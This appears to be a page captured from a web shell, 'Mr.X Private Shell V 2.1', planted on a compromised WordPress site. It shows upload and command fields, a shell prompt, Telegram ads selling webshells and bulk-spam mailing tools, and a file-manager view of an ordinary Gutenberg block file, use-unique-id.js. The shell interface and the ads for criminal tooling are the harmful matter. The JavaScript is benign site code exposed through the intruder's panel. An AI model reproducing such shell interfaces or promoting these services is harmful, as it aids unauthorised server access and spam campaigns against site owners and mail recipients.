__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
import { useEffect } from '@wordpress/element'
import { select } from '@wordpress/data'

export const getAttributes = () => {
	return {
		uniqueId: {
			type: 'string',
			default: '',
		},
	}
}

const shortenId = (clientId) => clientId.split('-')[0]

export function getBlockDocumentRoot(props) {
	const iframes = document.querySelectorAll(
		'.edit-site-visual-editor__editor-canvas'
	)
	let _document = document

	// check for block editor iframes
	for (let i = 0; i < iframes.length; i++) {
		let block = iframes[i].contentDocument.getElementById(
			'block-' + props.clientId
		)

		if (block !== null) {
			_document = iframes[i].contentDocument
			break
		}
	}

	return _document
}

function isDuplicate(props) {
	let output = false

	const _document = getBlockDocumentRoot(props)
	const elements = _document.querySelectorAll(
		`[data-id="${props.attributes.uniqueId}"]`
	)

	if (elements.length > 1) {
		output = true
	}

	return output
}

// Add support for this, otherwise IDs will be duplicated on clone
// https://github.com/WordPress/gutenberg/pull/38643
export const useUniqueId = ({ attributes, clientId, setAttributes }) => {
	useEffect(() => {
		if (!attributes.uniqueId || isDuplicate({ attributes, clientId })) {
			setAttributes({
				uniqueId: shortenId(clientId),
			})
		}
	}, [clientId])

	let uniqueId = attributes.uniqueId || shortenId(clientId)

	return {
		uniqueId,
		props: {
			'data-id': uniqueId,
		},
	}
}

export const useSaveUniqueId = (props) => {
	const { attributes, clientId } = props

	return {
		uniqueId: attributes.uniqueId || clientId || '',

		props: attributes.uniqueId
			? {
					'data-id': attributes.uniqueId,
			  }
			: {},
	}
}

Filemanager

Name Type Size Permission Actions
use-unique-id.js File 1.64 KB 0775
Filemanager